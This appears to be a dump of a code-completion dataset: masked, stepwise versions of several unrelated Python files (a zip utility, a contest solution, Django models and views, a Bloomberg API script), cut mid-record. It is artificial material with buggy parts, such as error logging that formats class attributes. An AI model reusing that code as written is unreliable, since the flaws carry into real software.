"step-4": "<mask token>\nimport zipfile\nfrom edca_mensajes import EdcaErrores as err, EdcaMensajes as msg\nfrom edca_logs.EdcaLogger import EdcaLogger as log\n\n\nclass ZipTools:\n\n @staticmethod\n def comprimir(archivo, dir_comprimir):\n __archivo_zip = archivo[:archivo.find('.')] + '.zip'\n try:\n with zipfile.ZipFile(__archivo_zip, 'w', zipfile.ZIP_DEFLATED\n ) as archivoZip:\n archivoZip.write(archivo)\n archivoZip.close()\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n\n @staticmethod\n def descomprimir(archivo, dir_extraer):\n try:\n zip_ref = zipfile.ZipFile(archivo, 'r')\n zip_list = zip_ref.infolist()\n for contenido in zip_list:\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR, 'EXTRAER ARCHIVO', msg.\n EdcaMensajes.obt_mensaje(err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR) % contenido.filename)\n zip_ref.extractall(dir_extraer)\n zip_ref.close()\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_UNZIP))\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n\n @staticmethod\n def obtener_contenido_zip(archivo):\n global zp\n try:\n zip_ref = zipfile.ZipFile(archivo, 'r')\n zip_list = zip_ref.infolist()\n for contenido in zip_list:\n zp = contenido.filename\n zip_ref.close()\n return zp\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n",
"step-5": "\"\"\"\r\nPROYECTO : Portal EDCA-HN\r\nNOMBRE : ZipTools\r\nDescripcion : Clase utilitaria para descomprimir archivos ZIP.\r\n\r\nMM/DD/YYYY Colaboradores Descripcion\r\n05/07/2019 Alla Duenas Creacion. \r\n\"\"\"\r\n\r\nimport zipfile\r\nfrom edca_mensajes import EdcaErrores as err, EdcaMensajes as msg\r\nfrom edca_logs.EdcaLogger import EdcaLogger as log\r\n\r\n\r\nclass ZipTools:\r\n\r\n # Funcion para cromprimir los archivos descargados\r\n @staticmethod\r\n def comprimir(archivo, dir_comprimir):\r\n __archivo_zip = archivo[:archivo.find(\".\")] + \".zip\"\r\n try:\r\n with zipfile.ZipFile(__archivo_zip,'w', zipfile.ZIP_DEFLATED) as archivoZip:\r\n archivoZip.write(archivo)\r\n archivoZip.close()\r\n\r\n except PermissionError:\r\n log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % PermissionError.filename % PermissionError.strerror)\r\n except IOError:\r\n log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(\r\n err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.filename % IOError.strerror)\r\n \r\n # Funcion para descromprimir los archivos descargados\r\n @staticmethod\r\n def descomprimir(archivo, dir_extraer):\r\n try:\r\n zip_ref = zipfile.ZipFile(archivo, 'r')\r\n zip_list = zip_ref.infolist()\r\n for contenido in zip_list:\r\n log.registrar_log_info(__name__, err.EdcaErrores.INFO_ZIPTOOL_PRINT_DIR,\r\n \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_PRINT_DIR) % contenido.filename)\r\n zip_ref.extractall(dir_extraer)\r\n zip_ref.close()\r\n log.registrar_log_info(__name__, err.EdcaErrores.INFO_ZIPTOOL_UNZIP, \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_UNZIP))\r\n except PermissionError:\r\n log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % PermissionError.filename % PermissionError.strerror)\r\n except IOError:\r\n log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(\r\n err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.filename % IOError.strerror)\r\n\r\n @staticmethod\r\n def obtener_contenido_zip(archivo):\r\n global zp\r\n try:\r\n zip_ref = zipfile.ZipFile(archivo, 'r')\r\n zip_list = zip_ref.infolist()\r\n for contenido in zip_list:\r\n zp = contenido.filename\r\n zip_ref.close()\r\n return zp\r\n except PermissionError:\r\n log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP)\r\n % PermissionError.filename % PermissionError.strerror)\r\n except IOError:\r\n log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, \"EXTRAER ARCHIVO\",\r\n msg.EdcaMensajes.obt_mensaje(\r\n err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.filename % IOError.strerror)\r\n\r\n",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
C = {i:0 for i in range(9)}
N = int(input())
A = list(map(int,input().split()))
for i in range(N):
a = A[i]
if a<400:
C[0] += 1
elif a<800:
C[1] += 1
elif a<1200:
C[2] += 1
elif a<1600:
C[3] += 1
elif a<2000:
C[4] += 1
elif a<2400:
C[5] += 1
elif a<2800:
C[6] += 1
elif a<3200:
C[7] += 1
else:
C[8] += 1
cmin = 0
for i in range(8):
if C[i]>0:
cmin += 1
if cmin==0:
cmin = 1
cmax = C[8]
else:
cmax = cmin+C[8]
print(cmin,cmax)
|
normal
|
{
"blob_id": "a1ca6c258298feda99b568f236611c1c496e3262",
"index": 8993,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in range(N):\n a = A[i]\n if a < 400:\n C[0] += 1\n elif a < 800:\n C[1] += 1\n elif a < 1200:\n C[2] += 1\n elif a < 1600:\n C[3] += 1\n elif a < 2000:\n C[4] += 1\n elif a < 2400:\n C[5] += 1\n elif a < 2800:\n C[6] += 1\n elif a < 3200:\n C[7] += 1\n else:\n C[8] += 1\n<mask token>\nfor i in range(8):\n if C[i] > 0:\n cmin += 1\nif cmin == 0:\n cmin = 1\n cmax = C[8]\nelse:\n cmax = cmin + C[8]\nprint(cmin, cmax)\n",
"step-3": "C = {i: (0) for i in range(9)}\nN = int(input())\nA = list(map(int, input().split()))\nfor i in range(N):\n a = A[i]\n if a < 400:\n C[0] += 1\n elif a < 800:\n C[1] += 1\n elif a < 1200:\n C[2] += 1\n elif a < 1600:\n C[3] += 1\n elif a < 2000:\n C[4] += 1\n elif a < 2400:\n C[5] += 1\n elif a < 2800:\n C[6] += 1\n elif a < 3200:\n C[7] += 1\n else:\n C[8] += 1\ncmin = 0\nfor i in range(8):\n if C[i] > 0:\n cmin += 1\nif cmin == 0:\n cmin = 1\n cmax = C[8]\nelse:\n cmax = cmin + C[8]\nprint(cmin, cmax)\n",
"step-4": "C = {i:0 for i in range(9)}\nN = int(input())\nA = list(map(int,input().split()))\nfor i in range(N):\n a = A[i]\n if a<400:\n C[0] += 1\n elif a<800:\n C[1] += 1\n elif a<1200:\n C[2] += 1\n elif a<1600:\n C[3] += 1\n elif a<2000:\n C[4] += 1\n elif a<2400:\n C[5] += 1\n elif a<2800:\n C[6] += 1\n elif a<3200:\n C[7] += 1\n else:\n C[8] += 1\ncmin = 0\nfor i in range(8):\n if C[i]>0:\n cmin += 1\nif cmin==0:\n cmin = 1\n cmax = C[8]\nelse:\n cmax = cmin+C[8]\nprint(cmin,cmax)",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
from rest_framework import serializers
from .models import Backend
class BackendSerializer(serializers.ModelSerializer):
class Meta:
model = Backend
fields = '__all__'
|
normal
|
{
"blob_id": "b4787d65fb8adf5dc6a99c1a13922c8f9acc2087",
"index": 1971,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass BackendSerializer(serializers.ModelSerializer):\n\n\n class Meta:\n model = Backend\n fields = '__all__'\n",
"step-3": "from rest_framework import serializers\nfrom .models import Backend\n\n\nclass BackendSerializer(serializers.ModelSerializer):\n\n\n class Meta:\n model = Backend\n fields = '__all__'\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
# -*- coding: utf-8 -*-
"""
Created on Mon Feb 20 17:13:46 2017
@author: pmonnot
"""
import blpapi
import datetime
# Create a Session
session = blpapi.Session()
# Start a Session
if not session.start():
print "Failed to start session."
if not session.openService("//blp/refdata"):
print "Failed to open //blp/refdata"
refDataService = session.getService("//blp/refdata")
request = refDataService.createRequest("HistoricalDataRequest")
request.append("securities", "AAPL US Equity")
#FIELDS - if simply one field use: #request.append("fields", "PX_LAST")
#If you wish to loop the fields
field_list = ["PX_OPEN","PX_HIGH","PX_LAST","PX_VOLUME"]
for field in field_list:
request.append("fields", field)
request.set("startDate", "20170101")
request.set("endDate", "20170201")
request.set("adjustmentFollowDPDF", "False")
request.set("adjustmentAbnormal", "True")
request.set("adjustmentNormal", "True")
request.set("adjustmentSplit", "True")
request.set("periodicitySelection", "DAILY")
request.set("nonTradingDayFillOption", "NON_TRADING_WEEKDAYS") #also takes ALL_CALENDAR_DAYS and ACTIVE_DAYS_ONLY
request.set("nonTradingDayFillMethod", "PREVIOUS_VALUE")
print "Sending Request:", request
session.sendRequest(request)
endReached = False
while endReached == False:
ev = session.nextEvent()
if ev.eventType() == blpapi.Event.RESPONSE or ev.eventType() == blpapi.Event.PARTIAL_RESPONSE:
for msg in ev:
numPoints = msg.getElement("securityData").getElement("fieldData").numValues()
for i in range(0,numPoints):
Point = msg.getElement('securityData').getElement('fieldData').getValueAsElement(i)
print Point.getElement('date').getValue(),'\t',Point.getElement('PX_LAST').getValue(),'\t'
if ev.eventType() == blpapi.Event.RESPONSE:
endReached = True
|
normal
|
{
"blob_id": "a8a2d672369f61c6412229380cc6097d152ba126",
"index": 9883,
"step-1": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 20 17:13:46 2017\r\n\r\n@author: pmonnot\r\n\"\"\"\r\n\r\nimport blpapi\r\nimport datetime\r\n\r\n# Create a Session\r\nsession = blpapi.Session()\r\n# Start a Session\r\nif not session.start():\r\n print \"Failed to start session.\"\r\nif not session.openService(\"//blp/refdata\"):\r\n print \"Failed to open //blp/refdata\"\r\n\r\nrefDataService = session.getService(\"//blp/refdata\")\r\nrequest = refDataService.createRequest(\"HistoricalDataRequest\")\r\n\r\nrequest.append(\"securities\", \"AAPL US Equity\")\r\n\r\n#FIELDS - if simply one field use: #request.append(\"fields\", \"PX_LAST\")\r\n#If you wish to loop the fields\r\nfield_list = [\"PX_OPEN\",\"PX_HIGH\",\"PX_LAST\",\"PX_VOLUME\"]\r\nfor field in field_list:\r\n request.append(\"fields\", field)\r\n\r\nrequest.set(\"startDate\", \"20170101\")\r\nrequest.set(\"endDate\", \"20170201\")\r\nrequest.set(\"adjustmentFollowDPDF\", \"False\")\r\nrequest.set(\"adjustmentAbnormal\", \"True\")\r\nrequest.set(\"adjustmentNormal\", \"True\")\r\nrequest.set(\"adjustmentSplit\", \"True\")\r\nrequest.set(\"periodicitySelection\", \"DAILY\")\r\nrequest.set(\"nonTradingDayFillOption\", \"NON_TRADING_WEEKDAYS\") #also takes ALL_CALENDAR_DAYS and ACTIVE_DAYS_ONLY\r\nrequest.set(\"nonTradingDayFillMethod\", \"PREVIOUS_VALUE\")\r\n\r\n\r\n\r\nprint \"Sending Request:\", request\r\nsession.sendRequest(request)\r\n\r\n\r\nendReached = False\r\nwhile endReached == False:\r\n ev = session.nextEvent()\r\n if ev.eventType() == blpapi.Event.RESPONSE or ev.eventType() == blpapi.Event.PARTIAL_RESPONSE:\r\n \r\n for msg in ev:\r\n numPoints = msg.getElement(\"securityData\").getElement(\"fieldData\").numValues()\r\n for i in range(0,numPoints):\r\n Point = msg.getElement('securityData').getElement('fieldData').getValueAsElement(i)\r\n print Point.getElement('date').getValue(),'\\t',Point.getElement('PX_LAST').getValue(),'\\t'\r\n \r\n \r\n if ev.eventType() == blpapi.Event.RESPONSE:\r\n endReached = True",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
from django.db import models
class Kit(models.Model):
name = models.CharField(max_length=100, null=True)
main_image_url = models.URLField(max_length=1000)
price = models.DecimalField(max_digits=10, decimal_places=2, default=0)
description = models.CharField(max_length=1000, null=True)
class Meta:
db_table = 'kits'
class KitSubImageUrl(models.Model):
image_url = models.URLField(max_length=1000)
kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)
class Meta:
db_table = 'kit_sub_image_urls'
class KitLike(models.Model):
user = models.ForeignKey('user.User', on_delete=models.CASCADE)
kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)
class Meta:
db_table = 'kit_likes'
|
normal
|
{
"blob_id": "ea2183530667437e086bc89f137e464dec6f363a",
"index": 1800,
"step-1": "<mask token>\n\n\nclass KitSubImageUrl(models.Model):\n image_url = models.URLField(max_length=1000)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_sub_image_urls'\n\n\nclass KitLike(models.Model):\n user = models.ForeignKey('user.User', on_delete=models.CASCADE)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_likes'\n",
"step-2": "<mask token>\n\n\nclass Kit(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n class Meta:\n db_table = 'kits'\n\n\nclass KitSubImageUrl(models.Model):\n image_url = models.URLField(max_length=1000)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_sub_image_urls'\n\n\nclass KitLike(models.Model):\n user = models.ForeignKey('user.User', on_delete=models.CASCADE)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_likes'\n",
"step-3": "<mask token>\n\n\nclass Kit(models.Model):\n name = models.CharField(max_length=100, null=True)\n main_image_url = models.URLField(max_length=1000)\n price = models.DecimalField(max_digits=10, decimal_places=2, default=0)\n description = models.CharField(max_length=1000, null=True)\n\n\n class Meta:\n db_table = 'kits'\n\n\nclass KitSubImageUrl(models.Model):\n image_url = models.URLField(max_length=1000)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_sub_image_urls'\n\n\nclass KitLike(models.Model):\n user = models.ForeignKey('user.User', on_delete=models.CASCADE)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_likes'\n",
"step-4": "from django.db import models\n\n\nclass Kit(models.Model):\n name = models.CharField(max_length=100, null=True)\n main_image_url = models.URLField(max_length=1000)\n price = models.DecimalField(max_digits=10, decimal_places=2, default=0)\n description = models.CharField(max_length=1000, null=True)\n\n\n class Meta:\n db_table = 'kits'\n\n\nclass KitSubImageUrl(models.Model):\n image_url = models.URLField(max_length=1000)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_sub_image_urls'\n\n\nclass KitLike(models.Model):\n user = models.ForeignKey('user.User', on_delete=models.CASCADE)\n kit = models.ForeignKey('kit.Kit', on_delete=models.CASCADE)\n\n\n class Meta:\n db_table = 'kit_likes'\n",
"step-5": null,
"step-ids": [
4,
5,
6,
7
]
}
|
[
4,
5,
6,
7
] |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2011 Taobao .Inc
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at http://code.taobao.org/license.html.
#
# This software consists of voluntary contributions made by many
# individuals. For the exact contribution history, see the revision
# history and logs, available at http://code.taobao.org/.
from django.contrib.auth.decorators import login_required
from django.core.urlresolvers import reverse
from django.http import *
from django import forms
from django.db.models import Count,Sum,Q
from taocode2.models import *
from taocode2.helper.utils import *
from taocode2.helper.func import wrap
from taocode2.helper import consts
from taocode2.apps.user import activity
from taocode2.apps.repos import svn
from taocode2.settings import *
import time
__author__ = 'luqi@taobao.com'
def build_prj_nav_menu(request, project, choice = None):
uri = '/p/'+project.name
navmenus = [{'uri': uri + '/src', 'txt':'source'},
{'uri': uri + '/issues', 'txt':'issues'},
{'uri': uri + '/wiki', 'txt':'wiki'},
{'uri': uri + '/info', 'txt':'info'}]
if project.owner == request.user:
navmenus.append({'uri': uri + '/admin', 'txt':'admin'})
if choice is None:
navmenus[0]['choice'] = True
else:
for m in navmenus:
if m['uri'].endswith(choice):
m['choice'] = True
return navmenus
def need_owner(view_func):
def _wrapped_view(request, *args, **kwargs):
rc = request.rc
rc.project = q_get(Project, name=kwargs['name'],
status = consts.PROJECT_ENABLE)
rc.project_name = kwargs['name']
if rc.project == None:
raise Http404
if rc.project.owner != request.user:
if request.user.supper is False:
return HttpResponseForbidden()
return view_func(request, *args, **kwargs)
return wrap(view_func, _wrapped_view)
def can_access(prj, user):
if prj is None or prj.status != consts.PROJECT_ENABLE:
raise Http404
if prj.is_public:
return None
if user.is_authenticated() is False:
return HttpResponseForbidden()
if prj.owner != user:
pm = q_get(ProjectMember, project = prj, user = user)
if pm is None:
return HttpResponseForbidden()
return None
def can_write(prj, user):
if prj is None or prj.status != consts.PROJECT_ENABLE:
return False
if user.is_authenticated() is False:
return False
if prj.owner != user:
pm = q_get(ProjectMember, project = prj, user = user)
if pm is None:
return False
return True
@need_owner
@as_json
@login_required
def do_invite(request, name):
if request.method != 'POST':
return False
uname = request.POST.get('u', '').strip()
if len(uname) <= 0:
return False
user = q_get(User, Q(name=uname)|Q(email=uname))
if user is None or user == request.user:
return False
rc = request.rc
pm = q_get(ProjectMember,
project=rc.project, user=user)
if pm is not None:
if pm.member_type != consts.PM_ACCEPT_INV:
pm.member_type = consts.PM_SEND_INV
pm.save()
return True
pm = ProjectMember()
pm.project = rc.project
pm.user = user
pm.member_type = consts.PM_SEND_INV
pm.save()
return True
@login_required
@need_owner
def project_admin(request, name):
rc = request.rc
rc.pagename = name + ' admin'
uri = request.META['PATH_INFO']
#rc.navmenus = [{'uri': uri, 'txt':'basic', 'choice':True},
# {'uri': uri + 'resources', 'txt':'resources'}]
rc.navmenus = build_prj_nav_menu(request, rc.project, 'admin')
res = []
vls = q_gets(Issue, project = rc.project,
status__in = (consts.ISSUE_OPEN,
consts.ISSUE_CLOSED)).values('project').annotate(pc=Count('project'))
res.append(['Issue Count',
len(vls) > 0 and vls[0]['pc'] or 0])
vls = q_gets(ProjectAttachment, project = rc.project,
status = consts.FILE_ENABLE).values('project').annotate(pc=Count('project'))
res.append(['Attachemts Count',
len(vls) > 0 and vls[0]['pc'] or 0])
vls = q_gets(ProjectAttachment,
project = rc.project,
status = consts.FILE_ENABLE).values('project').annotate(ps=Sum('size'))
si = (len(vls) > 0 and vls[0]['ps'] or 0) / (1024*1024.0)
res.append(['Attachemts Total Size','%.4s MB'%si])
r,out, err = exec_cmd(['du','-sbh', os.path.join(settings.REPOS_ROOT, name)])
res.append(['Repository Usage', r != 0 and '0.0 MB' or out.split()[0]])
rc.res = res
rc.licenses = map(lambda x:x[0], consts.LICENSES)
if rc.project.status != consts.PROJECT_ENABLE:
raise Http404
return send_response(request, 'project/admin.html')
@login_required
@need_owner
def project_resources(request, name):
rc = request.rc
rc.pagename = 'Project resources usages'
uri = '/p/'+name+'/admin'
rc.navmenus = [{'uri': uri, 'txt':'basic'},
{'uri': uri + 'resouces',
'txt':'resources', 'choice':True}]
if rc.project.status != consts.PROJECT_ENABLE:
raise Http404
return send_response(request, 'project/resources.html')
@as_json
def get_members(request, name):
project = q_get(Project, name=name)
if project is None:
return False
resp = can_access(project, request.user)
if resp is not None:
return False
members = q_gets(ProjectMember, project=project)
return (True, [m.json() for m in members])
def do_invite_op(request, name, op):
if request.method != 'POST':
return False
project = q_get(Project, Q(name=name))
if project is None:
return False
pm = q_get(ProjectMember, project=project, user=request.user)
if pm is None:
return False
pm.member_type = op
pm.save()
if op == consts.PM_ACCEPT_INV:
activity.join_member(project, request.user, request.user)
return True
@as_json
@login_required
def do_accept(request, name):
return do_invite_op(request, name,
consts.PM_ACCEPT_INV)
@as_json
@login_required
def do_reject(request, name):
return do_invite_op(request, name,
consts.PM_REJECT_INV)
@as_json
@login_required
def do_exit(request, name):
project = q_get(Project, name = name)
if project is None:
return False
ProjectMember.objects.filter(project = project,
user = request.user).delete()
activity.leave_member(project, request.user, request.user)
return True
@login_required
@need_owner
@as_json
def del_member(request, name):
if request.method != 'POST':
return False
uname = request.POST.get('u', '').strip()
if len(uname) <= 0:
return False
rc = request.rc
ProjectMember.objects.filter(project = rc.project,
user = User.objects.filter(name=uname)).delete()
return True
@login_required
@need_owner
@as_json
def del_prj(request, name):
if request.method != 'POST':
return False
del_name = name + '__DELETED__%s'%time.time()
project = request.rc.project
old_name = project.name
project.name = del_name
project.status = consts.PROJECT_MARK_DELETED
project.save()
svn.del_repos(old_name, del_name)
return (True, reverse('apps.user.views.view_user', args=[]))
@login_required
@need_owner
@as_json
def edit_prj(request, name):
if request.method != 'POST':
return False
project = request.rc.project
title = request.POST.get('t','').strip()
if len(title) <= 0:
return False
license = request.POST.get('l','').strip()
is_public = request.POST.get('pub','0').strip()
project.title = title
project.license = license
project.is_public = bool(int(is_public))
project.save()
return True
|
normal
|
{
"blob_id": "bacd0c729193f064b21ab8e01e98dfc276094458",
"index": 7853,
"step-1": "<mask token>\n\n\ndef need_owner(view_func):\n\n def _wrapped_view(request, *args, **kwargs):\n rc = request.rc\n rc.project = q_get(Project, name=kwargs['name'], status=consts.\n PROJECT_ENABLE)\n rc.project_name = kwargs['name']\n if rc.project == None:\n raise Http404\n if rc.project.owner != request.user:\n if request.user.supper is False:\n return HttpResponseForbidden()\n return view_func(request, *args, **kwargs)\n return wrap(view_func, _wrapped_view)\n\n\ndef can_access(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n raise Http404\n if prj.is_public:\n return None\n if user.is_authenticated() is False:\n return HttpResponseForbidden()\n if prj.owner != user:\n pm = q_get(ProjectMember, project=prj, user=user)\n if pm is None:\n return HttpResponseForbidden()\n return None\n\n\n<mask token>\n\n\n@login_required\n@need_owner\ndef project_admin(request, name):\n rc = request.rc\n rc.pagename = name + ' admin'\n uri = request.META['PATH_INFO']\n rc.navmenus = build_prj_nav_menu(request, rc.project, 'admin')\n res = []\n vls = q_gets(Issue, project=rc.project, status__in=(consts.ISSUE_OPEN,\n consts.ISSUE_CLOSED)).values('project').annotate(pc=Count('project'))\n res.append(['Issue Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(pc=Count('project'))\n res.append(['Attachemts Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(ps=Sum('size'))\n si = (len(vls) > 0 and vls[0]['ps'] or 0) / (1024 * 1024.0)\n res.append(['Attachemts Total Size', '%.4s MB' % si])\n r, out, err = exec_cmd(['du', '-sbh', os.path.join(settings.REPOS_ROOT,\n name)])\n res.append(['Repository Usage', r != 0 and '0.0 MB' or out.split()[0]])\n rc.res = res\n rc.licenses = map(lambda x: x[0], consts.LICENSES)\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/admin.html')\n\n\n@login_required\n@need_owner\ndef project_resources(request, name):\n rc = request.rc\n rc.pagename = 'Project resources usages'\n uri = '/p/' + name + '/admin'\n rc.navmenus = [{'uri': uri, 'txt': 'basic'}, {'uri': uri + 'resouces',\n 'txt': 'resources', 'choice': True}]\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/resources.html')\n\n\n<mask token>\n\n\n@as_json\n@login_required\ndef do_accept(request, name):\n return do_invite_op(request, name, consts.PM_ACCEPT_INV)\n\n\n<mask token>\n\n\n@as_json\n@login_required\ndef do_exit(request, name):\n project = q_get(Project, name=name)\n if project is None:\n return False\n ProjectMember.objects.filter(project=project, user=request.user).delete()\n activity.leave_member(project, request.user, request.user)\n return True\n\n\n<mask token>\n\n\n@login_required\n@need_owner\n@as_json\ndef del_prj(request, name):\n if request.method != 'POST':\n return False\n del_name = name + '__DELETED__%s' % time.time()\n project = request.rc.project\n old_name = project.name\n project.name = del_name\n project.status = consts.PROJECT_MARK_DELETED\n project.save()\n svn.del_repos(old_name, del_name)\n return True, reverse('apps.user.views.view_user', args=[])\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef build_prj_nav_menu(request, project, choice=None):\n uri = '/p/' + project.name\n navmenus = [{'uri': uri + '/src', 'txt': 'source'}, {'uri': uri +\n '/issues', 'txt': 'issues'}, {'uri': uri + '/wiki', 'txt': 'wiki'},\n {'uri': uri + '/info', 'txt': 'info'}]\n if project.owner == request.user:\n navmenus.append({'uri': uri + '/admin', 'txt': 'admin'})\n if choice is None:\n navmenus[0]['choice'] = True\n else:\n for m in navmenus:\n if m['uri'].endswith(choice):\n m['choice'] = True\n return navmenus\n\n\ndef need_owner(view_func):\n\n def _wrapped_view(request, *args, **kwargs):\n rc = request.rc\n rc.project = q_get(Project, name=kwargs['name'], status=consts.\n PROJECT_ENABLE)\n rc.project_name = kwargs['name']\n if rc.project == None:\n raise Http404\n if rc.project.owner != request.user:\n if request.user.supper is False:\n return HttpResponseForbidden()\n return view_func(request, *args, **kwargs)\n return wrap(view_func, _wrapped_view)\n\n\ndef can_access(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n raise Http404\n if prj.is_public:\n return None\n if user.is_authenticated() is False:\n return HttpResponseForbidden()\n if prj.owner != user:\n pm = q_get(ProjectMember, project=prj, user=user)\n if pm is None:\n return HttpResponseForbidden()\n return None\n\n\ndef can_write(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n return False\n if user.is_authenticated() is False:\n return False\n if prj.owner != user:\n pm = q_get(ProjectMember, project=prj, user=user)\n if pm is None:\n return False\n return True\n\n\n@need_owner\n@as_json\n@login_required\ndef do_invite(request, name):\n if request.method != 'POST':\n return False\n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n user = q_get(User, Q(name=uname) | Q(email=uname))\n if user is None or user == request.user:\n return False\n rc = request.rc\n pm = q_get(ProjectMember, project=rc.project, user=user)\n if pm is not None:\n if pm.member_type != consts.PM_ACCEPT_INV:\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n return True\n pm = ProjectMember()\n pm.project = rc.project\n pm.user = user\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n return True\n\n\n@login_required\n@need_owner\ndef project_admin(request, name):\n rc = request.rc\n rc.pagename = name + ' admin'\n uri = request.META['PATH_INFO']\n rc.navmenus = build_prj_nav_menu(request, rc.project, 'admin')\n res = []\n vls = q_gets(Issue, project=rc.project, status__in=(consts.ISSUE_OPEN,\n consts.ISSUE_CLOSED)).values('project').annotate(pc=Count('project'))\n res.append(['Issue Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(pc=Count('project'))\n res.append(['Attachemts Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(ps=Sum('size'))\n si = (len(vls) > 0 and vls[0]['ps'] or 0) / (1024 * 1024.0)\n res.append(['Attachemts Total Size', '%.4s MB' % si])\n r, out, err = exec_cmd(['du', '-sbh', os.path.join(settings.REPOS_ROOT,\n name)])\n res.append(['Repository Usage', r != 0 and '0.0 MB' or 